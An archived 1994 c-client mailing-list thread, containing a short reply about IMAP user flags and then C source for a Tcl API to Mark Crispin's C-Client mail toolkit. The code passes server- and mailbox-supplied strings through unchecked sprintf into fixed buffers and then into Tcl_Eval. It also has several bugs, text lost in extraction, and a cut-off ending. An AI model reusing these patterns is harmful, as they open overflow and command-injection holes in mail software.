I believe I read that CMU's Cyrus IMAP server allows dynamic creation of user flags. -teg From pinedev@shivax2.cac.washington.edu Mon Feb 28 16:48:06 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA11399; Mon, 28 Feb 94 16:48:06 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA15057; Mon, 28 Feb 94 16:47:55 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA15050; Mon, 28 Feb 94 16:47:53 -0800 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67e/UW-NDC Revision: 2.27.MRC ) id AA18131; Mon, 28 Feb 94 16:47:51 -0800 Date: Mon, 28 Feb 1994 16:45:54 -0800 (PST) From: Mark Crispin Subject: re: questions To: Terry Gray Cc: Ian Smith , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 28 Feb 1994 15:34:06 -0800 (PST), Terry Gray wrote: > I believe I read that CMU's Cyrus IMAP server allows dynamic creation of > user flags. I think I read the same thing, and certainly IMAP4 makes the concept more viable. Unfortunately, the only way to do this in IMAP is to do the ``just create'' action that was rejected for COPY. I could implement this, but it would be a slippery slope with no going back. So, I would like to get group concensus first... From pinedev@shivax2.cac.washington.edu Tue Mar 1 09:12:24 1994 -0700 Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA26726; Tue, 1 Mar 94 09:12:24 -0800 Received: by mx1.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA22798; Tue, 1 Mar 94 09:11:42 -0800 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Return-Path: Received: from burdell.cc.gatech.edu by mx1.cac.washington.edu (5.65+UW94.2/UW-NDC Revision: 2.30 ) id AA22790; Tue, 1 Mar 94 09:11:35 -0800 Received: from weasel.gatech.edu (weasel.cc.gatech.edu [130.207.3.229]) by burdell.cc.gatech.edu (8.6.4/8.6.4) with SMTP id MAA13276; Tue, 1 Mar 1994 12:11:30 -0500 Received: by weasel.gatech.edu (5.0/SMI-SVR4) id AA12782; Tue, 1 Mar 1994 12:06:35 +0500 Date: Tue, 1 Mar 1994 12:06:35 +0500 From: iansmith@weasel.cc.gatech.edu (Ian Smith) Message-Id: <9403011706.AA12782@weasel.gatech.edu> To: strick@osc.versant.com, keith@cc.gatech.edu, jack@cc.gatech.edu, dmc@cc.gatech.edu, hudson@cc.gatech.edu Cc: c-client@cac.washington.edu, bozy@hkn.berkeley.edu Subject: tcl and c client Reply-To: Ian Smith X-Vi: vi is the AD3MA of editors X-Mailer: VM 5.32L [Lucid Emacs 19.6] Content-Length: 38696 I thought people might be interested in this. Here is a TCL API to the C-Client mail toolkit by Mark Crispin (anon ftp to cac.washington.edu to snarf it up). Very useful for scripting repeated mail tasks or writing mail 'bots. PowerMail is based on this and works pretty well so this API is "quasi-tested." It is by no means a full interface to C Client, but its a start. Its good enough to do most mail reading, but PowerMail does its own mail writing so I haven't built much towards that end. Naturally, there is no do doc other than source file comments. :-) Big thanks to Mark Crispin for writing the excellent C Client toolkit. Hope it helps you out, ian /* * TCL to CClient API * * Ian E. Smith * iansmith@cc.gatech.edu * * Version 1.0 * Cleaned up March 1, 1994 */ /* TCL CClient API * * TCL API: CClientInstallDriver drivername * TCL API: CClientMailOpen mailboxname [oldstream] * TCL API: CClientMailClose stream * TCL API: CClientFetchBodyRaw stream msgnumber * TCL API: CClientFetchHeadersRaw stream msgnumber * TCL API: CClientFetchHeaders stream msgNumber * TCL API: CClientFetchBodyInfo stream msgNumber * TCL API: CClientFetchBodyPart stream messageNumber part * TCL API: CClientMoveMessage stream sequence mailbox * TCL API: CClientCopyMessage stream sequence mailbox * TCL API: CClientSetFlag stream sequence flag * TCL API: CClientExpungeMessages stream * TCL API: CClientScanMessages stream lowerbound upperbound numcolumns * TCL API: CClientSearchMessages stream searchSpec * TCL API: CClientMailCheck stream * TCL API: CClientStoreMessagePart stream message part encoding filename * TCL API: CClientFindMailboxes [[stream] [searchSpec]] * * TCL CClient Callbacks: * * TCL CALLBACK: CClientSearched stream msgnumber * TCL CALLBACK: CClientFlags stream msgNumber * TCL CALLBACK: CClientExists stream msgNumber * TCL CALLBACK: CClientExpunged stream msgNumber * TCL CALLBACK: CClientMailbox mailboxName * TCL CALLBACK: CClientBBoard bboardName [*pseudo-dead*] * TCL CALLBACK: CClientNotify stream msgString severity * TCL CALLBACK: CClientLog msgString interestingness * TCL CALLBACK: CClientDlog msgString * TCL CALLBACK: CClientCritical stream * TCL CALLBACK: CClientNoCritical stream * TCL CALLBACK: CClientLogin [NOT IMPLEMENTED] * TCL CALLBACK: CClientDiskError stream errcode serious|notserious * return value is used to determine whether to abort or not * TCL CALLBACK: CClientFatal message */ /* * In general this code is replicated too many times. We could be ALOT * smarter in condensing functions together (perhaps even down to just * one function) and checking argv[0]. I wrote it this way because it * is easier to understand by looking it. I only grouped TCL functions * together (and checked argv[0] for which behavior to use) * when it was clear that these functions had similar uses, e.g. * CClient_fetch_raw maps to two TCL functions CClientFetchBodyRaw and * CClientFetchHeadersRaw */ /* * The TCL API uses strings to represent streams in the CClient API (since * that is all TCL has) . I sprintf the hex value of the pointer to * the stream into the string before I hand it to TCL. If you wanted to * do other hackery involving streams in your own C code, you can just * sscanf the string passed to you by TCL to get the MAILSTREAM * back. * I do it left and right and it works fine... */ /* * The CClient has particular conventions about memory mgt. that have to * be followed VERY carefully. If you hack this API follow these basic * guidelines if you are so silly as to not read the CClient documentation: * Don't muck with memory that is given to you by fetch-type functions. * Do fs_give (free) memory which is converted for you by the rfc822 * conversion code. Note: fs_give takes a void ** not a void * like you would * expect. Finally, if you use a "create" funtion to make one of the objects * in the API, you should fs_give it back when you are done. */ /* * The strings returned from CClient contain cr/lf pairs and you'll need * to convert them to your local preference IN TCL. I don't do the * conversion for you. If you want to do this on unix, a good approach is * the TCL regsub command. Try: if {[regsub -all [format "\015"] "$line" "" new]==1} { set line $new } */ /* * The 'sequences' in this document are IMAP spec sequences. See RFC1176 * for details but basically I just use comma separated lists of message * numbers... ie: * set sequence [split $msglist ","] */ /* This is the CClient API */ #include "mail.h" /* CClient RFC822 support functions */ #include "rfc822.h" /* normal includes */ #include #include #include #include #include #include #include extern DRIVER mhdriver; extern DRIVER imapdriver; extern DRIVER nntpdriver; extern DRIVER mtxdriver; extern DRIVER tenexdriver; extern DRIVER bezerkdriver; extern DRIVER newsdriver; extern DRIVER philedriver; extern DRIVER dummydriver; /* These are temporary storage while constructing results */ static char tclBuf[0x2000]; static char tmpbuf[0x2000]; static Tcl_Interp *localinterp; static char *MIMEtypeName[10]; static char *MIMEencodingName[10]; /* * This is the call that TCL programs should use to install a driver * TCL API: CClientInstallDriver drivername * NB: Linking in some drivers (Berkeley) will require that you link * in the dummy driver as well. I.e. * CClientInstallDriver berkeley * CClientInstallDriver dummy * * My reading of the CClient code says that the order you link in * drivers matters in terms of which driver is given preference if * a mailbox could be opended by two drivers. */ int CClient_install_driver(ClientData clientData, Tcl_Interp *interp, int argc, char **argv) { if (argc!=2) { Tcl_AppendResult(interp,"CClientInstallDriver: usage CClientInstallDriver drivername\n",NULL); return TCL_ERROR; } if (strncasecmp(argv[1],"mh",strlen("mh"))==0) { mail_link(&mhdriver); return TCL_OK; } if (strncasecmp(argv[1],"berkeley",strlen("berkeley"))==0) { mail_link(&bezerkdriver); return TCL_OK; } if (strncasecmp(argv[1],"imap",strlen("imap"))==0) { mail_link(&imapdriver); return TCL_OK; } if (strncasecmp(argv[1],"nntp",strlen("nntp"))==0) { mail_link(&nntpdriver); return TCL_OK; } if (strncasecmp(argv[1],"tenex",strlen("tenex"))==0) { mail_link(&tenexdriver); return TCL_OK; } if (strncasecmp(argv[1],"mtx",strlen("mxt"))==0) { mail_link(&mtxdriver); return TCL_OK; } if (strncasecmp(argv[1],"news",strlen("news"))==0) { mail_link(&newsdriver); return TCL_OK; } if (strncasecmp(argv[1],"phile",strlen("phile"))==0) { mail_link(&philedriver); return TCL_OK; } if (strncasecmp(argv[1],"dummy",strlen("dummy"))==0) { mail_link(&dummydriver); return TCL_OK; } Tcl_AppendResult(interp,"CClientInstallDriver:unknown driver ", argv[1], "\n",NULL); return TCL_ERROR; } /* * Callbacks from the C-Client toolkit * * All these callbacks are "recalledback" into TCL code. If the TCL code * doesn't exist or returns an error of some other sort and DEBUG is turned * on, you get an error message. * In any case it is not an option to "abort" some action based on TCL code * (or even C code for that matter), except in the special cases noted in * the comments. Generally, these callbacks are ONLY informational. * * In all TCL level callbacks, the original arguments to the C call are * replicated and converted into meaningful strings from their numerical * values when necessary. * * Note that during all of these callbacks (most?) you cannot do * CClient operations (the streams are locked). */ /* * Called during searches to indicate a hit * * TCL CALLBACK: CClientSearched stream msgnumber */ void mm_searched(MAILSTREAM *stream,long number) { sprintf(tclBuf,"CClientSearched %x %d",stream,number); if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif } /* * This is called (I think) when flags changed, but only by some drivers. * I found that MH and Berkeley don't use this, and the only references * in the CClient source to it are in the imap2, mtx, and tenex drivers * * TCL CALLBACK: CClientFlags stream msgNumber */ void mm_flags(MAILSTREAM *stream,long number) { sprintf(tclBuf,"CClientFlags %x %d",stream,number); if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif } /* * This is called to inform you that a mailbox exists and how many * messages are in it. * * TCL CALLBACK: CClientExists stream msgNumber */ void mm_exists(MAILSTREAM *stream,long number) { sprintf(tclBuf,"CClientExists %x %d",stream,number); if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",interp->result); #endif } /* * This is called to tell you that a mail message is now expunged. It * also means renumbering of all higher messages has now happened. * * TCL CALLBACK: CClientExpunged stream msgNumber * */ void mm_expunged(MAILSTREAM *stream,long number) { sprintf(tclBuf,"CClientExpunged %x %d",stream,number); if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif } /* * This is called in response to mailFind requests. I have had limited * success with this function (or is it with MailFind?). I don't think * that it works right in MH, but I'm not sure. * * TCL CALLBACK: CClientMailbox mailboxName */ void mm_mailbox(char *string) { sprintf(tclBuf,"CClientMailbox %s",string); if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif } /* * This is called in response to a FindBBoardS request, but there currently * is no TCL API to that, so this is pseudo-dead code. * * TCL CALLBACK: CClientBBoard bboardName [*pseudo-dead*] */ void mm_bboard(char *string) { sprintf(tclBuf,"CClientBBoard %s",string); if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif } /* * This function is called in response to IMAP protocol problems. * I don't use IMAP so I'm not sure how it works. * * TCL CALLBACK: CClientNotify stream msgString severity */ void mm_notify(MAILSTREAM *stream,char *string,long errflag) { switch (errflag) { case NIL: sprintf(tclBuf,"CClientNotify %x \"%s\" NIL",stream,string); break; case WARN: sprintf(tclBuf,"CClientNotify %x \"%s\" WARN",stream,string); break; case ERROR: sprintf(tclBuf,"CClientNotify %x \"%s\" ERROR",stream,string); break; default: fprintf(stderr,"internal error in tcl-c-client: unkown error type %d\n", errflag); return; } if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif } /* * This is called when CClient wants to tell you something of various * levels of interestingness. * * TCL CALLBACK: CClientLog msgString interestingness */ void mm_log(char *string, long errflg) { switch (errflg) { case NIL: sprintf(tclBuf,"CClientLog \"%s\" NIL",string); break; case WARN: sprintf(tclBuf,"CClientLog \"%s\" WARN",string); break; case ERROR: sprintf(tclBuf,"CClientLog \"%s\" ERROR",string); break; case PARSE: sprintf(tclBuf,"CClientLog \"%s\" PARSE",string); break; default: fprintf(stderr,"internal error in tcl-c-client: unkown error type %d\n", errflg); return; } if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif } /* * This is called if you are using debugging on a stream (probably and * IMAP stream?) ... it gives you "telemetry info." I don't have any * interface to turning on debugging on a stream, but I should. * * TCL CALLBACK: CClientDlog msgString */ void mm_dlog(char *string) { sprintf(tclBuf,"CClientDlog %s",string); if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif } /* * This is a crucial bit. This is called just before anything dangerous * is done to a mailfile (destructively). I turn off signals that might * be coming from the user during this period, although what I should * be doing is "deferring" them. Also, I don't put back the values of * signal handlers when I'm done... so sue me. * * TCL CALLBACK: CClientCritical stream */ void mm_critical(MAILSTREAM *stream) { sprintf(tclBuf,"CClientCritical %x",stream); if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif /* avoid problems before they happen */ signal(SIGINT,SIG_IGN); signal(SIGHUP,SIG_IGN); signal(SIGQUIT,SIG_IGN); } /* * This is the opposite of mm_critical, called when we are done with a * critical section. Again, my signal handling is really bogus. * * TCL CALLBACK: CClientNoCritical stream */ void mm_nocritical(MAILSTREAM *stream) { /* ok, let the problems happen again */ signal(SIGINT,SIG_DFL); signal(SIGHUP,SIG_DFL); signal(SIGQUIT,SIG_DFL); sprintf(tclBuf,"CClientNoCritical %x",stream); if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif } /* * This is called when IMAP logins are necessary. This should * get password and user info, but it isn't implemented yet. * * TCL CALLBACK: CClientLogin [NOT IMPLEMENTED] */ void mm_login(char *host,char *user,char *pwd,long trials) { fprintf(stderr,"CClientLogin not implemented\n"); return; } /* * This is hairy. This is called in response to a diskerrr * situation. If serious is zero and your tcl client returns * non-zero, operation will abort, otherwise you get retry. * If serious is non-zero you always get retry. I don't understand * why this is. * * TCL CALLBACK: CClientDiskError stream errcode serious|notserious * return value is used to determine whether to abort or not * */ long mm_diskerror(MAILSTREAM *stream,long errcode, long serious) { int ret=0; if (serious) { sprintf(tclBuf,"CClientDiskError %x %d serious",stream,errcode); } else { sprintf(tclBuf,"CClientDiskError %x %d notserious",stream,errcode); } if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { ret=atoi(localinterp->result); return ret; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif return ret; } /* * This is called when a fatal error occurs. You are basically hosed. * * TCL CALLBACK: CClientFatal message */ void mm_fatal(char *string) { sprintf(tclBuf,"CClientFatal %s",string); if (Tcl_Eval(localinterp,tclBuf)==TCL_OK) { return ; } #ifdef DEBUG fprintf(stderr,"tcl callback error: %s\n",localinterp->result); #endif } /* * This opens a mail stream, and returns a handle to it as a string * (see above on why this is a hack). * * TCL API: CClientMailOpen mailboxname [oldstream] */ int CClient_mail_open(ClientData clientData,Tcl_Interp *interp, int argc,char **argv) { MAILSTREAM *stream=NULL; MAILSTREAM *newstream; if ((argc!=2) && (argc!=3)) { Tcl_AppendResult(interp,"CClientMailOpen: usage CClientMailOpen mailboxname [oldstream]\n",NULL); return TCL_ERROR; } if (argc==3) { sscanf(argv[2],"%x",&stream); } newstream=mail_open(stream,argv[1],NIL); if (!newstream) { Tcl_AppendResult(interp,"CClientMailOpen: error creating stream\n",NULL); return TCL_ERROR; } sprintf(tclBuf,"%x",newstream); Tcl_AppendResult(interp,tclBuf); return TCL_OK; } /* * This closes a mail stream, and returns nothing. * * TCL API: CClientMailClose stream */ int CClient_mail_close(ClientData clientData,Tcl_Interp *interp, int argc,char **argv) { MAILSTREAM *stream=0; if (argc!=2) { Tcl_AppendResult(interp, "CClientMailClose: usage CClientMailClose stream\n", NULL); return TCL_ERROR; } sscanf(argv[1],"%x",&stream); if (stream==0) { Tcl_AppendResult(interp,argv[0],": stream not open, unable to perform operation\n",NULL); return TCL_ERROR; } mail_close(stream); return TCL_OK; } /* * This fetches headers or bodies of mail messages (raw, no decoding) as * (big) strings. * * TCL API: CClientFetchBodyRaw stream msgnumber * TCL API: CClientFetchHeadersRaw stream msgnumber */ int CClient_fetch_raw(ClientData clientData,Tcl_Interp *interp, int argc,char **argv) { MAILSTREAM *stream=0; long number; if (argc!=3) { Tcl_AppendResult(interp,argv[0],": usage ", argv[0], " stream messageNumber \n",NULL); return TCL_ERROR; } sscanf(argv[1],"%x",&stream); if (stream==0) { Tcl_AppendResult(interp,argv[0],": stream not open, unable to perform operation\n",NULL); return TCL_ERROR; } if (Tcl_GetInt(interp,argv[2],(int *)&number)==TCL_ERROR) { Tcl_AppendResult(interp,argv[0],": bad message number: ", interp->result,"\n",NULL); return TCL_ERROR; } if (strcmp(argv[0],"CClientFetchBodyRaw")==0) { Tcl_SetResult(interp,mail_fetchtext(stream,number),TCL_VOLATILE); return TCL_OK; } else { /* must be FetchHeadersRaw */ Tcl_SetResult(interp,mail_fetchheader(stream,number),TCL_VOLATILE); return TCL_OK; } } /* * This function grabs the header values out of the CClient cache and * parses them into a TCL list. Each element is a sublist of two elements * with the first (lindex 0) being the header field name and the second * the value. * * TCL API: CClientFetchHeaders stream msgNumber */ int CClient_fetch_headers(ClientData clientData,Tcl_Interp *interp, int argc,char **argv) { MAILSTREAM *stream=0; long number; ENVELOPE *env; char *headers[14]; char *pair[2],*tmp; if (argc!=3) { Tcl_AppendResult(interp, "CClientFetchHeaders: usage CClientFetchHeaders stream messageNumber \n", NULL); return TCL_ERROR; } sscanf(argv[1],"%x",&stream); if (stream==0) { Tcl_AppendResult(interp,argv[0],": stream not open, unable to perform operation\n",NULL); return TCL_ERROR; } if (Tcl_GetInt(interp,argv[2],(int *)&number)==TCL_ERROR) { Tcl_AppendResult(interp,"CClientFetchHeaders: bad message number: ", interp->result,"\n",NULL); return TCL_ERROR; } env=mail_fetchstructure(stream,number,NIL); /* ok, parse the envelope */ /* remail */ pair[0]="Remail"; pair[1]=env->remail; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); free(tmp); /* return path */ rfc822_write_address(tmpbuf,env->return_path); pair[0]="Return Path"; pair[1]=tmpbuf; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); sprintf(tmpbuf,""); free(tmp); /* date */ pair[0]="Date"; pair[1]=env->date; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); free(tmp); /* from */ rfc822_write_address(tmpbuf,env->from); pair[0]="From"; pair[1]=tmpbuf; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); sprintf(tmpbuf,""); free(tmp); /* sender */ rfc822_write_address(tmpbuf,env->sender); pair[0]="Sender"; pair[1]=tmpbuf; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); sprintf(tmpbuf,""); free(tmp); /* reply_to */ rfc822_write_address(tmpbuf,env->reply_to); pair[0]="Reply To"; pair[1]=tmpbuf; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); sprintf(tmpbuf,""); free(tmp); /* subject */ pair[0]="Subject"; pair[1]=env->subject; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); free(tmp); /* to */ rfc822_write_address(tmpbuf,env->to); pair[0]="To"; pair[1]=tmpbuf; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); sprintf(tmpbuf,""); free(tmp); /* cc */ rfc822_write_address(tmpbuf,env->cc); pair[0]="CC"; pair[1]=tmpbuf; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); sprintf(tmpbuf,""); free(tmp); /* bcc */ rfc822_write_address(tmpbuf,env->bcc); pair[0]="BCC"; pair[1]=tmpbuf; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); sprintf(tmpbuf,""); free(tmp); /* in_reply_to */ pair[0]="In Reply To"; pair[1]=env->in_reply_to; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); free(tmp); /* message id */ pair[0]="Message Id"; pair[1]=env->message_id; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); free(tmp); /* newsgroups */ pair[0]="Newsgroups"; pair[1]=env->newsgroups; tmp=Tcl_Merge(2,pair); Tcl_AppendElement(interp,tmp); free(tmp); return TCL_OK; } /* * This function is for internal use only. It is called recursively to * decode the (potentially recursively nested) multipart mail messages. * * Used by: CClient_fetch_body_info */ char* CClient_recurse_body(BODY *body,char *currentPart, int call) { /* allow 20 part max */ char *info[26]; char buf[80],*tmp; PART *head; int counter,i; switch (body->type) { case TYPETEXT: if (strcmp(currentPart,"")==0) sprintf(buf,"%d",call); else sprintf(buf,"%s.%d",currentPart,call); info[0]=buf; info[1]=MIMEtypeName[body->type]; /* Its not clear that the value body->subtype is right for subtypes of text */ if ((strncasecmp(body->subtype,"richtext",strlen("richtext"))==0)|| (strncasecmp(body->subtype,"enriched",strlen("enriched"))==0) || (strncasecmp(body->subtype,"plain",strlen("plain"))==0)) { info[2]=body->subtype; info[3]=body->description; info[4]=body->id; info[5]=MIMEencodingName[body->encoding]; } else { info[2]="plain"; info[3]=""; info[4]=""; info[5]=""; } /* caller must free this */ tmp=Tcl_Merge(6,info); return tmp; case TYPEMESSAGE: case TYPEAPPLICATION: case TYPEIMAGE: case TYPEAUDIO: case TYPEVIDEO: case TYPEOTHER: if (strcmp(currentPart,"")==0) sprintf(buf,"%d",call); else sprintf(buf,"%s.%d",currentPart,call); info[0]=buf; info[1]=MIMEtypeName[body->type]; info[2]=body->subtype; info[3]=body->description; info[4]=body->id; info[5]=MIMEencodingName[body->encoding]; /* caller must free this */ tmp=Tcl_Merge(6,info); return tmp; case TYPEMULTIPART: if (strcmp(currentPart,"")==0) sprintf(buf,"%d",call); else sprintf(buf,"%s.%d",currentPart,call); info[0]=MIMEtypeName[body->type]; info[1]=body->subtype; info[2]=body->description; info[3]=body->id; info[4]=MIMEencodingName[body->encoding]; counter=5; head=body->contents.part; if (strcmp(currentPart,"")==0) { if (call==1) sprintf(buf,""); else sprintf(buf,"%d",call); } else sprintf(buf,"%s.%d",currentPart,call); while (head) { info[counter]=CClient_recurse_body(&head->body,buf,counter-4); ++counter; if (counter==26) { fprintf(stderr,"recurse body: overflow on mime parts! max is 20! stopping recursion!\n"); head=NULL; } head=head->next; } /* now make a string of the whole thing */ tmp=Tcl_Merge(counter,info); /* got a copy ... free the temporaries */ for (i=5; iresult,"\n",NULL); return TCL_ERROR; } if (!mail_fetchstructure(stream,number,&body)) { Tcl_AppendResult(interp,"CClientFetchBodyInfo: error fetching mail body!\n"); return TCL_ERROR; } if (!body) { fprintf(stderr,"HM. No body.\n"); } Tcl_SetResult(interp,CClient_recurse_body(body,currentPart,1), TCL_DYNAMIC); return TCL_OK; } /* * This function is called to get info about a specific message part. * It assumes you know what part you want (and call it correctly) * via CClientGetBodyInfo. It returns the text as a string. If you * call this on a part that is non-textual you are not guaranteed * anything, and thus I wouldn't advise it. See below for what to * do if the part is non-textual. * * TCL API: CClientFetchBodyPart stream messageNumber part */ int CClient_fetch_body_part(ClientData clientData,Tcl_Interp *interp, int argc, char **argv) { MAILSTREAM *stream; int number; unsigned long length; char *ret; if (argc!=4) { Tcl_AppendResult(interp,argv[0],": usage ", argv[0]," stream messageNumber part\n",NULL); return TCL_ERROR; } sscanf(argv[1],"%x",&stream); if (Tcl_GetInt(interp,argv[2],(int *)&number)==TCL_ERROR) { Tcl_AppendResult(interp,argv[0],": bad message number: ", interp->result,"\n",NULL); return TCL_ERROR; } if (argv[3]=="") { Tcl_AppendResult(interp,argv[0],": bad message part\n",NULL); return TCL_ERROR; } if (!(ret = mail_fetchbody(stream,number,argv[3],&length))) { Tcl_AppendResult(interp,argv[0],": unable to fetch body of message ", argv[2], " part ", argv[3],"\n",NULL); return TCL_ERROR; } Tcl_SetResult(interp,ret,TCL_VOLATILE); return TCL_OK; } /* * This function is used to move messages to other folders. It assumes that * that the target mailbox is the same format (same driver) as the source * stream. It will move or copy, based on how its called. The mailbox * argument is a fully specificed pathname as far as I can tell. * * TCL API: CClientMoveMessage stream sequence mailbox * TCL API: CClientCopyMessage stream sequence mailbox */ int CClient_move_message(ClientData clientData, Tcl_Interp *interp, int argc,char **argv) { MAILSTREAM *stream=0; if (argc!=4) { Tcl_AppendResult(interp,argv[0],": usage ",argv[0], " stream sequence mailbox\n",NULL); return TCL_ERROR; } sscanf(argv[1],"%x",&stream); if (stream==0) { Tcl_AppendResult(interp,argv[0],": stream not open, unable to perform operation\n",NULL); return TCL_ERROR; } if (strcmp(argv[0],"CClientMoveMessage")==0) { mail_move(stream,argv[2],argv[3]); } else { mail_copy(stream,argv[2],argv[3]); } return TCL_OK; } /* * This function is called to set or clear message flags. This function * just marks them with the flags, it doesn't seem to call any callbacks, * so you need to implement a search to find out about results, since * there doesn't appear to be any CClient API call to *get* the flags. * * Note that one MAY NOT mark with arbitrary flags as you might want. * The only flags that are recognized are (in tcl read syntax) \\SEEN, * \\RECENT, \\ANSWERED, \\FLAGGED, \\DELETED. I find this irritating. * * TCL API: CClientSetFlag stream sequence flag */ int CClient_flag(ClientData clientData,Tcl_Interp *interp, int argc, char **argv) { MAILSTREAM *stream=0; if (argc!=4) { Tcl_AppendResult(interp,argv[0],": usage ",argv[0], " stream sequence flag\n",NULL); return TCL_ERROR; } sscanf(argv[1],"%x",&stream); if (stream==0) { Tcl_AppendResult(interp,argv[0],": stream not open, unable to perform operation\n",NULL); return TCL_ERROR; } if ((strcmp(argv[3],"")==0) || (strcmp(argv[2],"")==0)) { Tcl_AppendResult(interp,argv[0],": bad sequence or flag\n",NULL); return TCL_ERROR; } if (strcmp(argv[0],"CClientSetFlag")==0) { mail_setflag(stream,argv[2],argv[3]); } else { mail_clearflag(stream,argv[2],argv[3]); } return TCL_OK; } /* * This function is used to ACTUALLY DELETE mail messages which have * been marked for deletion (see above). It causes a destructive mod * of the mailfiles so it usually ends up calling CClientCritical and * CCLientNoCritical when starting and finishing respectively. * * TCL API: CClientExpungeMessages stream */ int CClient_expunge_messages(ClientData clientData,Tcl_Interp *interp, int argc,char **argv) { MAILSTREAM *stream=0; if (argc!=2) { Tcl_AppendResult(interp,argv[0],": usage ",argv[0], "stream\n",NULL); return TCL_ERROR; } sscanf(argv[1],"%x",&stream); if (stream==0) { Tcl_AppendResult(interp,argv[0],": stream not open, unable to perform operation\n",NULL); return TCL_ERROR; } mail_expunge(stream); return TCL_OK; } /* * This is my own call, not really part of the CClient API proper, but * built on the mail_fetchsubject and mail_fetchfrom commands to make * life easy. This should really be implemented by using a callback into * TCL to do the per-line formatting to allow easier customization. * * This function will produce a reasonably nicely formatted list of the * messages in a stream. It takes a stream, lower and upper bounds and * the number of columns you want in the output. It returns a string * ready for printing on the screen. It contains embedded carriage returns * to separate messages. * * TCL API: CClientScanMessages stream lowerbound upperbound numcolumns */ int CClient_scan_messages(ClientData clientData,Tcl_Interp *interp, int argc,char **argv) { MAILSTREAM *stream=0; long lower,upper,i,cols; char *s; if (argc!=5) { Tcl_AppendResult(interp,"CClientScanMessages: usage CClientScanMessages stream lowerbound upperbound cols\n",NULL); return TCL_ERROR; } sscanf(argv[1],"%x",&stream); if (stream==0) { Tcl_AppendResult(interp,argv[0],": stream not open, unable to perform operation\n",NULL); return TCL_ERROR; } if (Tcl_GetInt(interp,argv[2],(int *)&lower)==TCL_ERROR) { Tcl_AppendResult(interp,"CClientScanMessages: bad lower bound number: ", interp->result,"\n",NULL); return TCL_ERROR; } if (Tcl_GetInt(interp,argv[3],(int *)&upper )==TCL_ERROR) { Tcl_AppendResult(interp,"CClientScanMessagest: bad upper bound number: ", interp->result,"\n",NULL); return TCL_ERROR; } if (Tcl_GetInt(interp,argv[4],(int *)&cols )==TCL_ERROR) { Tcl_AppendResult(interp,"CClientScanMessagest: bad number of columns: ", interp->result,"\n",NULL); return TCL_ERROR; } for (i=lower; i<=upper; ++i) { s=tmpbuf; sprintf(s,"%-4d ",i); s+=5; mail_fetchfrom(s,stream,i,25); s+=25; sprintf(s," "); s++; mail_fetchsubject(s,stream,i,cols-31); Tcl_AppendElement(interp,tmpbuf); } return TCL_OK; } /* * This function is used to start a search. It will call back to the * CClientSearched function on each hit. The search spec should be in * IMAP format, see RFC 1176. * * TCL API: CClientSearchMessages stream searchSpec * */ int CClient_search_messages(ClientData clientData,Tcl_Interp *interp, int argc,char **argv) { MAILSTREAM *stream=0; if (argc!=3) { Tcl_AppendResult(interp,argv[0],": usage ",argv[0]," stream search spec\n", NULL); return TCL_ERROR; } sscanf(argv[1],"%x",&stream); if (stream==0) { Tcl_AppendResult(interp,argv[0],": stream not open, unable to perform operation\n",NULL); return TCL_ERROR; } strcpy(tmpbuf,argv[2]); mail_search(stream,tmpbuf); return TCL_OK; } /* * This function is used to check for new mail. It will callback to * CClientExists if it succeeds. I really wish it returned a value * that I could return to TCL. * * TCL API: CClientMailCheck stream */ int CClient_mail_check(ClientData clientData,Tcl_Interp *interp, int 